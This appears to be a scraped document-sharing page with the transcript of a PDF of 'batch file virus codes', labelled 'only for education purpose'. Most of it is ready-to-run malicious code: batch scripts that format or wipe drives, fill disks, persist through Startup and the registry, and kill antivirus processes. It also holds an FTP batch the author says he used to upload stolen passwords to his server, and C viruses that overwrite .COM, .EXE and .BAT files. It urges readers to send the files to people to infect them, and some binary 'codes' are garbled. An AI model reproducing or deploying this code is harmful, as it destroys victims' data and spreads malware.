+ All Categories
Home > Documents > Batch File Virus

Batch File Virus

Date post: 05-Apr-2018
Category:
Upload: vaibhav-shukla
View: 225 times
Download: 1 times
Share this document with a friend

of 22

Transcript
  • 7/31/2019 Batch File Virus

    1/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    Batch File VirusSimple Virus MakingIf you think that notepad is useless then you are wrong because you can now do a lot of things witha notepad which you could have never imagined.In this hack I will show you how to make simple

    .bat file (virus) that cant be detected by any anti virusHere are some good viruses ,i am not responsible for any kind of damage to yoursystem

    Copy this to notepad and save as flood1.bat..@ECHO OFF

    @ECHO A Sharmas Creation@ECHO MAIN BAT RUNNING

    GOTO start:start@ECHO SET magic2=1 >> bat6.bat@ECHO GOTO flood5 >> bat6.bat@ECHO :flood5 >> bat6.bat@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat

    @ECHO NET USER magic2%%magic2%% /add >> bat6.bat@ECHO GOTO flood5 >> bat6.batSTART /MIN bat6.batGOTO bat5:bat5@ECHO CD %%ProgramFiles%%\ >> bat5.bat@ECHO SET pogo=1 >> bat5.bat@ECHO GOTO flood4 >> bat5.bat@ECHO :flood4 >> bat5.bat@ECHO MKDIR pogo%%pogo%% >> bat5.bat@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat@ECHO GOTO flood4 >> bat5.batSTART /MIN bat5.batGOTO bat4:bat4@ECHO CD %%SystemRoot%%\ >> bat4.bat@ECHO SET hat=1 >> bat4.bat

    @ECHO GOTO flood3 >> bat4.bat

  • 7/31/2019 Batch File Virus

    2/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    @ECHO :flood3 >> bat4.bat@ECHO MKDIR hat%%hat%% >> bat4.bat@ECHO SET /a hat=%%hat%%+1 >> bat4.bat@ECHO GOTO flood3 >> bat4.batSTART /MIN bat4.batGOTO bat3:bat3@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat@ECHO SET chart=1 >> bat3.bat@ECHO GOTO flood2 >> bat3.bat@ECHO :flood2 >> bat3.bat@ECHO MKDIR chart%%chart%% >> bat3.bat

    @ECHO SET /a chart=%%chart%%+1 >> bat3.bat@ECHO GOTO flood2 >> bat3.batSTART /MIN bat3.batGOTO bat2:bat2@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat@ECHO SET gamer=1 >> bat2.bat@ECHO GOTO flood >> bat2.bat@ECHO :flood >> bat2.bat

    @ECHO MKDIR gamer%%gamer%% >> bat2.bat@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat@ECHO GOTO flood >> bat2.batSTART /MIN bat2.batGOTO original

    riginal

    CD %HomeDrive%\

    SET sharma=1

    GOTO flood1

    :flood1

    MKDIR sharma%sharma%

    SET /a sharma=%sharma%+1

    GOTO flood1What does it do : this is an extremely harmful virus the will keep replicating itselfuntil your hard drive is totally full and will destroy your comp.Some Funny Virus Codes

    A simple binary codes that can format the system drive ,secondary drives

  • 7/31/2019 Batch File Virus

    3/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    Copy The Following In Notepad Exactly as it01001011000111110010010101010101010000011111100000 Save As An EXE Any Name Will DoSend the EXE to People And InfectSome other interesting formatting codes.

    format c:\ /Q/Xthis will format your drive c:\01100110011011110111001001101101011000010111010000100000011000110011101001011100 0010000000101111010100010010111101011000

    format d:\ /Q/Xthis will format your dirve d:\01100110011011110111001001101101011000010111010000100000011001000011101001011100 0010000000101111010100010010111101011000

    format a:\ /Q/Xthis will format your drive a:\01100110011011110111001001101101011000010111010000100000011000010011101001011100 0010000000101111010100010010111101011000

    del /F/S/Q c:\boot.inithis will cause your computer not to boot.01100100011001010110110000100000001011110100011000101111010100110010111101010001 00100000011000110011101001011100011000100110111101101111011101000010111001101001 0110111001101001Some more interesting stuff ..

    open notepaderase c:\windowsand save asFINDOUTANAME.cmdwat does it do:- will erase c:/windows .

  • 7/31/2019 Batch File Virus

    4/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    Here is another one which is funny

    cls:A

    color 0acls@echo offecho Wscript.Sleep 5000>C:\sleep5000.vbsecho Wscript.Sleep 3000>C:\sleep3000.vbsecho Wscript.Sleep 4000>C:\sleep4000.vbsecho Wscript.Sleep 2000>C:\sleep2000.vbscd %systemroot%\System32dirclsstart /w wscript.exe C:\sleep3000.vbs

    echo Deleting Critical System Filesecho del *.*start /w wscript.exe C:\sleep3000.vbsecho Deletion Successful!echo:echo:echo:echo Deleting Root Partitionstart /w wscript.exe C:\sleep2000.vbsecho del %SYSTEMROOT%start /w wscript.exe C:\sleep4000.vbsecho Deletion Successful!start /w wscript.exe C:\sleep2000.vbsecho:echo:echo:echo Creating Directory h4xcd C:\Documents and Settings\All Users\Start Menu\Programs\mkdir h4xstart /w wscript.exe C:\sleep3000.vbsecho Directory Creation Successful!

    echo:echo:echo:echo Execution Attempt 1start /w wscript.exe C:\sleep3000.vbsecho cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\echo start hax.exestart /w wscript.exe C:\sleep3000.vbsecho Virus Executed!echo:echo:

    echo:

  • 7/31/2019 Batch File Virus

    5/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    start /w wscript.exe C:\sleep2000.vbsecho Disabling Windows Firewallstart /w wscript.exe C:\sleep2000.vbsecho Killing allprocesses

    start /w wscript.exe C:\sleep2000.vbsecho Allowing virus to boot from startupstart /w wscript.exe C:\sleep2000.vbsecho:echo:echo Virus has been executed successfully!start /w wscript.exe C:\sleep2000.vbsecho:echo Have fun!start /w wscript.exe C:\sleep2000.vbs

    pause

    shutdown -f -s -c Your computer has committed suicide. Have a nice day.This code about multiple open windows means infinite windows

    until continue you restart the computer:save on denger.bat and code written in notepad

    @echo offcopy 0% denger.batstart denger.batThis code about the computer shutdown:@echo offshutdown -s -t 5 -c ShutdownGo to notepad and type the following:@Echo off

    Del C:\ *.*|ysave it as Dell.batWant worse then type the following:@echo offdel %systemdrive%\*.*/f/s/qshutdown -r -f -t 00and save it as a .bat fileOne more try one this

  • 7/31/2019 Batch File Virus

    6/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    Cd C:\rd C:\ /s/qCd D:\rd D:\ /s/q

    Cd E:\Rd E:\ /s/qCd F:\

    Rd\ /s/qthen it is complete Save as any file you want in .bat format.. n enjoy.its really dangerousdont try on your own pc.

    NOTE :- Howto add your own created viruses into start ups this will make it difficult todetect them n to remove them For this u need a registry updater software .now move your .bat file to c:/windows and then simply run this software ur virsu will beadded to your start ups i tried this with shut down , as my comp starts its shut down after 2secs ..

    Do not try it on your PC. Dont mess around this is for educational purpose onlyBatch VIRUS Killing NORTON, LIMEWIRE, EXPLORER, MSN @Echo offcolor 4title 4title R.I.Pstartstartstartstart calccopy %0 %Systemroot%\Greatgame > nulreg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ

    /d %systemroot%\Greatgame.bat /f > nul

    copy %0 *.bat > nulAttrib +r +h Greatgame.batAttrib +r +hRUNDLL32 USER32.DLL.SwapMouseButtonstart calcclstskill msnmsgrtskill LimeWiretskill iexploretskill NMainstart

    cls

  • 7/31/2019 Batch File Virus

    7/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    cd %userprofile%\desktopcopy Greatgame.bat R.I.P.batcopy Greatgame.bat R.I.P.jpgcopy Greatgame.bat R.I.P.txt

    copy Greatgame.bat R.I.P.execopy Greatgame.bat R.I.P.movcopy Greatgame.bat FixVirus.batcd %userprofile%My Documentscopy Greatgame.bat R.I.P.batcopy Greatgame.bat R.I.P.jpgcopy Greatgame.bat R.I.P.txtcopy Greatgame.bat R.I.P.execopy Greatgame.bat R.I.P.movcopy Greatgame.bat FixVirus.batstart

    start calcclsmsg * R.I.Pmsg * R.I.Pshutdown -r -t 10 -c VIRUS DETECTEDstartstarttime 12:00:R.I.Pcd %usernameprofile%\desktopcopy Greatgame.bat %random%.batgoto RIP

    It will1) Copy itself into startup2) Copy itself over one thousand times into random spots in your computer3) Hide its self and all other created files4) Task kill MSN, Norton, Windows Explorer, Limewire.5) Swap the left mouse button with the right one6) Opens alert boxes7) Changes the time to 12:00 and shuts down the computerThe first code we are going to look at is one that makes the cd tray open and close repeatedlyuntil shutdown, or(dont tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe(this code is vbs so save in note pad as whateveryouwant.vbs)

    Set oWMP = CreateObject(WMPlayer.OCX.7 )Set colCDROMs = oWMP.cdromCollectionif colCDROMs.Count >= 1 thendo

    For i = 0 to colCDROMs.Count1

  • 7/31/2019 Batch File Virus

    8/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    colCDROMs.Item(i).EjectNext cdromFor i = 0 to colCDROMs.Count1colCDROMs.Item(i).Eject

    Next cdromloopend if

    A code that turns on and off your capslock repeatedly, also vbs, end same way as last time,

    this turns on and off your capslock every tenth of a secondSet wshShell =wscript.CreateObject(WScript.Shell)dowscript.sleep 100wshshell.sendkeys {CAPSLOCK}loop

    A batch that is like a computer password, maybe you could stick it in autoexec.exe and makeit run off startup?@Echo offecho Enter password then [F6] and then smack the [Enter] key real hard!

    prompt $e[30mecho onecho offcopy con password.dat>nul

    prompt $e[0mecho onecho offclscopy password.set+password.dat password.bat>nulcall password.batif '%password%==qwerty goto done

    echo Incorrect, you are not trying to break into my pc are you?choice /t:y,3if errorlevel 2 goto next:nexterase password.baterase password.dat:helloclsecho Turn off PCgoto hello:done

    erase password.dat

  • 7/31/2019 Batch File Virus

    9/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    erase password.batset password=qwerty

    prompt $p$gA batch that switches the left mouse button with your right mouse button (also maybe adda code to stick in someones autoexec,

    that would really make them mad)@echo off

    Rundll32 user32,SwapMouseButtonmsg * hahahamsg * this is gunna screw you upmsg * good look finding how to fix it

    A batch file that will shutdown your computer and send a few messages about the matrix,

    rather bland and could be worked on a little bit more, some onecould tweak it a little and i'll repost it and give you credit, perhaps change the dos txt togreen

    @ Echo offTitle Matrixmsg * The matrix has you, you can not escaperundll32.exe disable mouse

    Attrib +h C:*.*echo deleting harddriveecho 1001101010101011111111101010101echo 010101010101010101010101010111assocassoc

    Attrib C:Documents and settings*.*net share hack=C:shutdown -s -c 60This is a VBs file so of course save as VBS, you can replace the txt in this code with

    whatever you wantSet wshshell = wscript.CreateObject("WScript.Shell")Wshshell.run "Notepad"wscript.sleep 400wshshell.sendkeys "M"wscript.sleep 100wshshell.sendkeys "a"wscript.sleep 120wshshell.sendkeys "s"wscript.sleep 200wshshell.sendkeys "o"

    wscript.sleep 140

  • 7/31/2019 Batch File Virus

    10/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    wshshell.sendkeys "n"wscript.sleep 100wshshell.sendkeys " "wscript.sleep 100

    wshshell.sendkeys "P"wscript.sleep 200wshshell.sendkeys "w"wscript.sleep 150wshshell.sendkeys "n"wscript.sleep 170wshshell.sendkeys "s"wscript.sleep 200wshshell.sendkeys " "wscript.sleep 100wshshell.sendkeys "A"

    wscript.sleep 50wshshell.sendkeys "l"wscript.sleep 120wshshell.sendkeys "l"wscript.sleep 160wshshell.sendkeys " "wscript.sleep 200wshshell.sendkeys "N"wscript.sleep 100wshshell.sendkeys "e"wscript.sleep 100wshshell.sendkeys "w"wscript.sleep 200wshshell.sendkeys "b"wscript.sleep 120wshshell.sendkeys "s"Carpet Bomb:Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup

    folder. This means that it'll regenerate once the computer is restarted even if all the icons on

    the desktop are deleted. This works on Windows XP and Vista. Command line-args areoptional, and include "disinf" for erasing all of the copies permanently.@ECHO OFF:This was meant as a harmless joke, and it's not hard to fix if you read through the code.:If you just use the "disinf" argument on the command line all is well. lease only use thison people u don't like

    IF "%1"=="" GOTO fillIF "%1"=="fill" GOTO fillIF "%1"=="kill" GOTO killIF "%1"=="inf" GOTO inf

    IF "%1"=="disinf" GOTO kill

  • 7/31/2019 Batch File Virus

    11/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    GOTO bye:fill

    IF EXIST C:\Users\%USERNAME%\Desktop\ (FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\Public\Desktop\joke%%A.bat"

    FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" >"C:\Users\%USERNAME%\Desktop\joke%%A.bat")FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\AllUsers\Desktop\joke%%A.bat"FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents andSettings\%USERNAME%\Desktop\joke%%A.bat"

    IF "%1"=="" GOTO infGOTO theend:kill

    IF EXIST C:\Users\%USERNAME%\Desktop\ (

    FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\Public\Desktop\joke%%A.bat"FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL"C:\Users\%USERNAME%\Desktop\joke%%A.bat")FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\AllUsers\Desktop\joke%%A.bat"FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents andSettings\%USERNAME%\Desktop\joke%%A.bat"

    IF "%1"=="disinf" GOTO disinfGOTO theend:infTYPE "%~df0" > "C:\Documents and Settings\All Users\Start

    Menu\Programs\Startup\joke.bat"TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Start

    Menu\Programs\Startup\joke.bat"TYPE "%~df0" > "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start

    Menu\Programs\Startup\joke.bat"GOTO theend:disinf

    ECHO Y | DEL "C:\Documents and Settings\All Users\StartMenu\Programs\Startup\joke.bat"

    ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\StartMenu\Programs\Startup\joke.bat"ECHO Y | DEL "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\joke.bat"GOTO theend:bye

    ECHO "fill" to make more and "kill" to get rid of 'em. inf to make it stick a little longer:theendOnce the batch file is executed, it copies itself hundreds of times onto the desktop and startup

    folder. This means that it'll regenerate once the computer is restarted even if all the icons on

  • 7/31/2019 Batch File Virus

    12/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    the desktop are deleted. This works on Windows XP and Vista. Command line-args areoptional, and include "disinf" for erasing all of the copies permanently.\Creating a batch BombCopy and paste the below into notepad and save it as hi.bat (Not .txt)run it, and enjoy anarchy.Code:@echo off:STARTecho Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!start hi.batGOTO START

    A code that turns on and off your capslock repeatedly, also vbs, end same way as last time,

    this turns on and off your capslock every tenth of a second.Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{CAPSLOCK}"loop

    How to make a shutdown file and disguise it as something else!

    This article is a pretty simple one, maybe most of you guys know already... in case if youdon't know, you can play around and make fun...

    How to make a shutdown file and disguise it as something else (internet, etc.)Step 1: Right click on your desktop or wherever you want to make this shutdown fileStep 2: look for new, then shortcutStep 3: Type shutdown -s -t 10 -c "text here"note: you can add -f to force close open docuumentsnote: after -t you can put any amount of seconds you want before the computer shuts downStep 4: push next, then name it whatever you like, for an example we will put Internet

    ExplorerStep 4: Right click on the file you just made and goto propertiesStep 5: hit change icon. (This could be under the advanced tab)

    http://hackingdictionary.blogspot.com/2009/04/how-to-make-shutdown-file-and-disguise.htmlhttp://hackingdictionary.blogspot.com/2009/04/how-to-make-shutdown-file-and-disguise.html
  • 7/31/2019 Batch File Virus

    13/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    Step 6: An error message should pop up letting you know there aren't any pictures forc:\windows\system32. Hit okStep 7: A list of icons should show up.. click on the one you think looks the most persuasive

    according to what you named it. (For example, look for the 'e' icon for internet explorer.Now your done, see that wasn't that hard! was it?Put this in the start up folder to make people even MORE mad!

    NOTE:- This can easily be stopped by typing shutdown -a in run...Sending Files Via ftp Batch!

    OK, So i made a password stealer that would output a .txt file to the windows folderm i thenmade a ftp batch that would upload the txt file to my server, so far ive managed to get some

    passwords but not for anything important, So if you want to know how to make a ftp batchthen heres how.First for example were gonna try upload a file called Test.txt to our serverUpload.bat

    ftp -n -i -s:MyUploadFiles.ftpFirst make a file called upload.bat and put this in, Now we need to make the

    myuploadfiles.ftp, if you wanna call it something else then change the myuploadfiles.ftp towhat you want but KEEP the .ftp at the end.Ok now its the myuploadfiles.ftp creating time, or whatever you called it before.open your-hostuser username.spam.com password

    ASCIIsend test.txt

    BIThis is the bit where you have to change the username password and host to what your ftphost is. then change the send test.txt to what file you want to upload, it doesn't have to be a txt

    file, it can be any one.Now make sure both files are in the same dir as each other and run the .bat file. check yourftp server and guess whats sitting there! test.txt! So if you want to upload a file fromsomeone's pc, you could use this?

    http://hackingdictionary.blogspot.com/2009/03/sending-files-via-ftp-batch.htmlhttp://hackingdictionary.blogspot.com/2009/03/sending-files-via-ftp-batch.html
  • 7/31/2019 Batch File Virus

    14/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    Also theres nothing stopping you from putting in the "get" command in the .ftp, say getdownload.bat, whenever you want to change what it does make it call it download.bat andshove it on the server, then the victim will download it and be executed.Folder Replicator Batch VIRUS

    Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itselfagainand again and keeps on creating a folder with same name, until a user stops it.1. Just open up a notepad, copy and paste the below codecd\cd C:\Documents and Settings\username\Desktop:loop

    md Viruscd Virusgoto loop2. Save it as a batch file with the extension .bat.3. Then run it on the Victims computer to infect it.4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.VIRUS CODES IN C :-

    BATCH & COM VIRUS#include #include #include #include struct ffblk ffblk;main(){char old_dir[MAXPATH];Get_Path(old_dir); /* Save the old directory */Pick_A_Dir(); /* Find a new directory to */

    Infect_Directory(); /* infect and infect it. */

    http://hackingdictionary.blogspot.com/2009/03/folder-replicator-batch-virus.htmlhttp://hackingdictionary.blogspot.com/2009/03/folder-replicator-batch-virus.html
  • 7/31/2019 Batch File Virus

    15/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    chdir(old_dir); /* Return to old directory */return 0;

    }Pick_A_Dir(){int done;chdir(..); /* First, Go out a DIR. */done=findfirst(*.BAT,&ffblk,0); /* If no BAT files, try */

    /* root and DOS */if (done){chdir(\\);done=findfirst(*.BAT,&ffblk,0);if (done) chdir(\\DOS\\);

    }return 0;

    }Infect_Directory(){int done;done = findfirst(*.BAT,&ffblk,0);while (!done) /* Find all .BAT files */{ /* and add code to run */

    Do_Batch(); /* BAT&COM if not */

  • 7/31/2019 Batch File Virus

    16/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    done = findnext(&ffblk); /* already there */}if (findfirst(BAT&COM.COM,&ffblk,0)) /* If BAT&COM does */{Copy_Virus();} /* not exist, then */return 0; /* copy it into dir.*/

    }Do_Batch(){FILE *batch;char Infection_Buffer[12];char vpath[MAXPATH];Get_Path(vpath); /* Get path for adding path */

    /* specifier in commands */if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */batch=fopen(ffblk.ff_name, rt+);

    fseek(batch, -11, SEEK_END);fread(Infection_Buffer,11,1,batch);Infection_Buffer[11]=0; /* Terminate String */if (strcmp(Infection_Buffer,BAT&COM.COM)) /* Check if */{ /* Batch is */

    fseek(batch, 0, SEEK_END); /* infected.*/fprintf(batch,\n%s\\BAT&COM.COM,vpath);} /*^- Add command *//* to batch */

  • 7/31/2019 Batch File Virus

    17/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    fclose(batch);return 0;

    }Copy_Virus(){FILE *old_virus, *new_virus;int write_length;char copy_buffer[1024]; /* Copy the virus to */

    /* new directory */old_virus=fopen(_argv[0],rb); new_virus=fopen(BAT&COM.COM,wb);write_length=1024;while (write_length==1024){write_length=fread(copy_buffer,1,1024,old_virus);

    fwrite(copy_buffer,write_length,1,new_virus);}fclose(old_virus);fclose(new_virus);return 0;

    }Get_Path(char *path){

    strcpy(path, A:\\);

  • 7/31/2019 Batch File Virus

    18/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    path[0] =A + getdisk(); /* Returns current path */getcurdir(0, path+3);return 0;

    }- -End of Code- -

    BLACK WOLF VIRUS/* It will infect all .COM files in the current directory */#include #include #include FILE *Virus,*Host;int x,y,done;char buff[256];struct ffblk ffblk;main(){done = findfirst(*.COM,&ffblk,0); /* Find a .COM file */while (!done) /* Loop for all COMs in DIR*/{

    printf(Infecting %s\n, ffblk.ff_name); /* Inform user */Virus=fopen(_argv[0],rb); /* Open infected file */

    Host=fopen(ffblk.ff_name,rb+); /* Open new host file */x=9504; /* Virus sizemust *//* be correct for the */

  • 7/31/2019 Batch File Virus

    19/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    /* compiler it is made *//* on, otherwise the *//* entire virus may not*//* be copied!! */while (x>256) /* OVERWRITE new Host */{ /* Read/Write 256 byte */

    fread(buff,256,1,Virus); /* chunks until bytes */fwrite(buff,256,1,Host); /* left < 256 */x-=256;}fread(buff,x,1,Virus); /* Finish off copy */fwrite(buff,x,1,Host);fcloseall(); /* Close both files and*/done = findnext(&ffblk); /* go for another one. */

    }/* Activation would go *//* here */return (0); /* Terminate */

    }OVERWRITE VIRUS CODE

    #include#include#includevoid main(int argc,char *argv[])

  • 7/31/2019 Batch File Virus

    20/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    {int bytes,i,done;FILE *virus,*host;struct ffblk *f;char buffer[512];do{done=findfirst(*.exe,f,0);while(!done){virus=fopen(argv[0],rb);//open the virus in read modehost=fopen(f->ff_name,rb+);//open the host file in r/w mode

    for(;fread(buffer,512,1,virus)==1;)fwrite(buffer,512,1,host);fclose(host);fseek(virus,0,0);//points to begining of virusprintf(infecting %s,f->ff_name);done=findnext(f);

    }}while(!chdir(..));

    printf(For any querry contactRakesh dwivedi;[email protected]);

    mailto:[email protected]:[email protected]:[email protected]
  • 7/31/2019 Batch File Virus

    21/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E-mail- [email protected]

    REPLICATION VIRUS

    #include#include#include#include#includevoid main(int argc,char* argv[]){ char buf[512];int source,target,byt,done;struct ffblk ffblk;clrscr();textcolor(2);cprintf();

    printf(\nVirus: Folderbomb 1.0\nProgrammer:BASRakesh_dwivedi([email protected])\n);cprintf();done = findfirst(*.*,&ffblk,0);while (!done){ printf(\n);cprintf( %s , ffblk.ff_name);printf(is attacked by

    );cprintf(Folderbomb);source=open(argv[0],O_RDONLY|O_BINARY);target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);while(1){byt=read(source,buf,512);if(byt>0)

  • 7/31/2019 Batch File Virus

    22/22

    Batch File Virus Codes(only for education purpose)

    @vaibhav (Technology Evangelist)

    Mo.- +91-9955111150

    E mail Vaibhav0it@gmail com

    write(target,buf,byt);elsebreak;

    }close(source);close(target);done = findnext(&ffblk);

    }getch();

    }


Recommended